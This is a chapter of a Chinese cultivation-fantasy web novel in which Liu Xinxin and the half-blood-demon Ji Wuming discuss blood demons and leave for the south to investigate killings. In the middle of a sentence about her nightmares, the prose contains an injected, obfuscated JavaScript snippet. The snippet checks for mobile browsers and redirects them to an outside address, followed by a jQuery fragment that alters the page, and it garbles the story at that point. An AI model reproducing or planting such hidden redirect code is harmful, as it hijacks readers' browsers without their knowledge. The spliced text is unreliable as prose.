午时,纪无冥来桃林作客,她简单做了两菜一汤,其中一个是特意为他做的辣菜。饭桌上,她没怎么说话,纪无冥察觉到她有些心不在焉,问道:“在想什么?” 柳辛歆道:“我在想,有没有可能让血妖站在我们这边。” 纪无冥道:“不可能。比起信任人,它们更信任自己的同类。除非,有人对它们产生了极大的影响,它们才有可能背叛自己的族群,站在人这一边。” 这是在说他自己吧。纪无冥身为血妖却如此袒护圣清门,就是因为前任掌门闻人奏将他带回了圣清门,视如己出。 柳辛歆若有所思道:“如此一来,岂不是只能两败俱伤?” 血妖的形成来自亡人的血液,只要杀戮不断,血妖就不可能断绝,血妖不死,杀戮也就不断,以此形成一个闭环。 纪无冥道:“所以互不往来才是最好的。” 晚上上床睡觉,她翻来覆去睡不着,脑子里想的都是纪无冥的事情。对方虽然身上有一半的血妖血统,但他可没做过一件坏事,反而帮着人族杀了不少同类,何至于在最后落得个被同门围剿、落荒而逃的下场。 后面好不容易睡着,又连续做了好几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589387|205419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噩梦,一下梦见纪无冥受重伤,她为他挡刀而死,最终任务失败她寄了。一会儿又梦见,纪无冥暴露血妖身份后,连带着她将圣清门屠戮殆尽,两位长老回来看见这一幕,惊得无法动弹。 次日醒来,柳辛歆只觉得身心俱疲,见到迎面走来的纪无冥,她提了提精神,拱手道:“弟子见过师叔。” 纪无冥语气焦急道:“南方又出了乱子。” 柳辛歆问道:“具体是什么情况?” 纪无冥将手伸到她的面前,手里还捏着一张小纸条,她接过来,快速浏览了一遍。 纸条的内容很短,上面写到:南方幻城接连出现人命,恐有血妖作祟,望圣清门出手相救。 柳辛歆道:“那纪师叔这次可是要带上弟子?” 纪无冥道:“嗯。” 最近血妖频繁作乱,五师姐生死未卜,将她带在身边总归更放心些。 柳辛歆不知对方如何想法,听到能下山,瞬间斗志昂扬,道:“纪师叔请放心,弟子这段时间每天都在练剑,到时一定不会拖您后腿的。” 见她如此,纪无冥不自觉变得一脸宠溺,温言道:“你只需护好自身安全。” 柳辛歆头一回听到纪无冥这么温柔的话,有些不知所措,她转移话题道:“信上写到血妖可能混在城中,肯定都是高级血妖,我们无法分辨。我记得圣清门有一面照妖镜,不知可否借下山去。” 纪无冥微眯着眼,说道:“照妖镜在半年前就已经被损毁,现下还在玄虚楼修补。我当时不在山上,后来才知晓此事,怎的你也不知?” 这么早就被毁了,她才来了几个月,知道个屁啊。柳辛歆用手指揉了揉太阳穴,表情痛苦,道:“弟子记得好像是听师兄说过此事,不过时隔久远,最近又练功过头,一时间想不起来了。” 闻言,纪无冥脸色又是一变,正色道:“练功需有度,不可心急。” 她已经好久没见过对方这么多表情了,觉得还怪有趣的。柳辛歆拱手应了一声,问道:“纪师叔,不知我们何时去南方?” 纪无冥道:“现在。” 此次的任务跟以往不同,那面照妖镜是必须要的。她道:“纪师叔我觉得此次妖乱非同小可,您可知照妖镜何时能修好?” 纪无冥道:“没有明确时间,一年半载都有可能。” 柳辛歆道:“如今已过去半年,不如我们写封信到白马山庄,看看照妖镜修得如何了。” 纪无冥拧眉思忖片刻,道:“你回桃林收拾东西,我回去写信给白马山庄,稍后立刻出发。” 柳辛歆严声道:“嗯。” 她其实也没什么可带的,拿了一套换洗的衣服,没吃完的桃花饼,糖葫芦,一些内服外用的伤药,还有纪无冥送她的配剑,简简单单一个包袱就够了。 飞往幻城的路上,柳辛歆问道:“纪师叔,你说血妖有没有可能隐藏自己的身份,通过你的阵法考验呢?” 纪无冥听到她的话,感觉到自己被质疑了,有些不开心,语气却非常确定,道:“绝无可能。”